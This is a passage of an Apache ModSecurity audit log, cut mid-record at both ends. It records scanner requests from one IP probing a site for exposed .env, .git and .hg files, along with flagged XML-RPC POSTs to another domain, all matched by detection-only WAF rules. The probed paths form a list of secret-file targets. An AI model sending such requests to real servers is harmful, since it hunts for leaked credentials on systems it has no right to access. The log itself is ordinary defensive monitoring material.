/internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --ebaa0103-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=a7c05bbb248a768f40697939f8caad561750038960; expires=Mon, 16 Jun 2025 02:56:00 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --ebaa0103-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/SpotiApps/.env"] [unique_id "aE95sPvF1ly0gx5reNmE-AAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750038960460775 672008 (- - -) Stopwatch2: 1750038960460775 672008; combined=2589, p1=526, p2=1962, p3=0, p4=0, p5=100, sr=125, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ebaa0103-Z-- --b547e233-A-- [16/Jun/2025:07:26:03.280532 +0530] aE95suhCUAahT1nBjTYRTgAAAAM 185.177.72.210 45644 127.0.0.1 7081 --b547e233-B-- GET /examples/10-subscriptions/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --b547e233-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=ae1418b12b3c7a4e15bd36b31edab4e61750038963; expires=Mon, 16 Jun 2025 02:56:03 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --b547e233-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/examples/10-subscriptions/.env"] [unique_id "aE95suhCUAahT1nBjTYRTgAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750038962610229 670408 (- - -) Stopwatch2: 1750038962610229 670408; combined=2018, p1=378, p2=1474, p3=0, p4=0, p5=166, sr=103, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b547e233-Z-- --63618357-A-- [16/Jun/2025:07:26:05.530200 +0530] aE95tAS4XDlCv3KXioQIJAAAAAY 185.177.72.210 45740 127.0.0.1 7081 --63618357-B-- GET /secure/.git/ HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --63618357-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=613fad96617253b6aa6dc5640c4119aa1750038965; expires=Mon, 16 Jun 2025 02:56:05 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --63618357-H-- Message: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/secure/.git/"] [unique_id "aE95tAS4XDlCv3KXioQIJAAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750038964804285 725980 (- - -) Stopwatch2: 1750038964804285 725980; combined=2079, p1=487, p2=1497, p3=0, p4=0, p5=94, sr=95, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --63618357-Z-- --7b0b0332-A-- [16/Jun/2025:07:26:11.232553 +0530] aE95uroFnONBt7jRcByX2gAAAA4 185.177.72.210 37842 127.0.0.1 7081 --7b0b0332-B-- GET /vendor/github.com/gobuffalo/envy/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --7b0b0332-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=12a9aaf28b0e8d78f63d87eb148980551750038971; expires=Mon, 16 Jun 2025 02:56:11 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --7b0b0332-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/vendor/github.com/gobuffalo/envy/.env"] [unique_id "aE95uroFnONBt7jRcByX2gAAAA4"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750038970529807 702819 (- - -) Stopwatch2: 1750038970529807 702819; combined=2054, p1=391, p2=1540, p3=0, p4=0, p5=122, sr=88, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --7b0b0332-Z-- --5dc06478-A-- [16/Jun/2025:07:26:14.271478 +0530] aE95vUN_xpBAtP8SIP05rAAAAAo 185.177.72.210 38142 127.0.0.1 7081 --5dc06478-B-- GET /.hg/branch HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --5dc06478-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=815f394e6a7fa431b9fae41421d89d5a1750038974; expires=Mon, 16 Jun 2025 02:56:14 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --5dc06478-H-- Message: Warning. Matched phrase "/.hg/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.hg/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.hg/branch"] [unique_id "aE95vUN_xpBAtP8SIP05rAAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750038973601696 669845 (- - -) Stopwatch2: 1750038973601696 669845; combined=1908, p1=380, p2=1433, p3=0, p4=0, p5=95, sr=94, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --5dc06478-Z-- --8a686525-A-- [16/Jun/2025:07:26:27.635435 +0530] aE95yvbo0R64L12N_alfgwAAAAQ 185.177.72.210 58348 127.0.0.1 7081 --8a686525-B-- GET /includes/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --8a686525-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=7f74720c77780290221f2488d13f87431750038987; expires=Mon, 16 Jun 2025 02:56:27 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --8a686525-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/includes/.env"] [unique_id "aE95yvbo0R64L12N_alfgwAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750038986933593 701906 (- - -) Stopwatch2: 1750038986933593 701906; combined=1819, p1=525, p2=1180, p3=0, p4=0, p5=113, sr=226, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --8a686525-Z-- --4b9c5d44-A-- [16/Jun/2025:07:26:31.618789 +0530] aE95zroFnONBt7jRcByX7AAAAA4 185.177.72.210 57122 127.0.0.1 7081 --4b9c5d44-B-- GET /bak/.env.dev HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --4b9c5d44-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=b6d64431a5159b9db7dd65f20cf5cc211750038991; expires=Mon, 16 Jun 2025 02:56:31 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --4b9c5d44-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/bak/.env.dev"] [unique_id "aE95zroFnONBt7jRcByX7AAAAA4"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750038990979887 638978 (- - -) Stopwatch2: 1750038990979887 638978; combined=1864, p1=380, p2=1375, p3=0, p4=0, p5=108, sr=100, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --4b9c5d44-Z-- --b05cdd41-A-- [16/Jun/2025:07:26:32.677236 +0530] aE95z4kQyF8-ounHsxsJDAAAAA8 185.177.72.210 57176 127.0.0.1 7081 --b05cdd41-B-- GET /:8080/site/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --b05cdd41-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=7f7a02fcfb8b3577fdc49f0f5ecea4d11750038992; expires=Mon, 16 Jun 2025 02:56:32 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --b05cdd41-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8080/site/.env"] [unique_id "aE95z4kQyF8-ounHsxsJDAAAAA8"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750038991958226 719075 (- - -) Stopwatch2: 1750038991958226 719075; combined=1820, p1=372, p2=1331, p3=0, p4=0, p5=117, sr=92, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b05cdd41-Z-- --f469ed0f-A-- [16/Jun/2025:07:26:32.693601 +0530] aE95zzZ3uHeEW3BYvDO9YgAAAAA 128.199.112.101 57152 127.0.0.1 7081 --f469ed0f-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 497 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --f469ed0f-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --f469ed0f-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE95zzZ3uHeEW3BYvDO9YgAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750038991672571 1021084 (- - -) Stopwatch2: 1750038991672571 1021084; combined=2448, p1=441, p2=1638, p3=36, p4=55, p5=173, sr=122, sw=105, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f469ed0f-Z-- --4c895a0b-A-- [16/Jun/2025:07:26:35.765631 +0530] aE950jZ3uHeEW3BYvDO9YwAAAAA 185.177.72.210 57280 127.0.0.1 7081 --4c895a0b-B-- GET /:8008/.env_bak HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --4c895a0b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=ac350d470933784ca3cf74b36c3da4511750038995; expires=Mon, 16 Jun 2025 02:56:35 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --4c895a0b-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8008/.env_bak"] [unique_id "aE950jZ3uHeEW3BYvDO9YwAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750038994999142 766574 (- - -) Stopwatch2: 1750038994999142 766574; combined=2418, p1=416, p2=1887, p3=0, p4=0, p5=115, sr=106, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --4c895a0b-Z-- --8250dd5b-A-- [16/Jun/2025:07:26:37.854719 +0530] aE951ehCUAahT1nBjTYRXwAAAAM 185.177.72.210 57348 127.0.0.1 7081 --8250dd5b-B-- GET /:8880/config/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --8250dd5b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=ce9d8282195985cbc44f8f102f4fb76a1750038997; expires=Mon, 16 Jun 2025 02:56:37 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --8250dd5b-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8880/config/.env"] [unique_id "aE951ehCUAahT1nBjTYRXwAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750038997170607 684175 (- - -) Stopwatch2: 1750038997170607 684175; combined=2300, p1=441, p2=1760, p3=0, p4=0, p5=99, sr=110, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --8250dd5b-Z-- --41df1e51-A-- [16/Jun/2025:07:27:31.981537 +0530] aE96C7oFnONBt7jRcByYCQAAAA4 128.199.112.101 59974 127.0.0.1 7081 --41df1e51-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 499 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --41df1e51-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --41df1e51-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE96C7oFnONBt7jRcByYCQAAAA4"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750039051031956 949638 (- - -) Stopwatch2: 1750039051031956 949638; combined=2215, p1=351, p2=1483, p3=45, p4=66, p5=167, sr=89, sw=103, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --41df1e51-Z-- --c8c46272-A-- [16/Jun/2025:07:27:47.524071 +0530] aE96GokQyF8-ounHsxsJQgAAAA8 185.177.72.210 54020 127.0.0.1 7081 --c8c46272-B-- GET /dodoswap-client/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --c8c46272-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=178b75f1dbced01077e4a1ed4c069e2c1750039067; expires=Mon, 16 Jun 2025 02:57:47 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --c8c46272-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/dodoswap-client/.env"] [unique_id "aE96GokQyF8-ounHsxsJQgAAAA8"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750039066850850 673295 (- - -) Stopwatch2: 1750039066850850 673295; combined=1744, p1=362, p2=1299, p3=0, p4=0, p5=83, sr=86, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c8c46272-Z-- --cade0f0f-A-- [16/Jun/2025:07:27:53.683751 +0530] aE96IUN_xpBAtP8SIP059QAAAAo 185.177.72.210 46200 127.0.0.1 7081 --cade0f0f-B-- GET /:8888/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --cade0f0f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=bb0e8b16fbe5502aa66c172dabea889d1750039073; expires=Mon, 16 Jun 2025 02:57:53 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --cade0f0f-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8888/.env"] [unique_id "aE96IUN_xpBAtP8SIP059QAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750039073027844 655972 (- - -) Stopwatch2: 1750039073027844 655972; combined=1956, 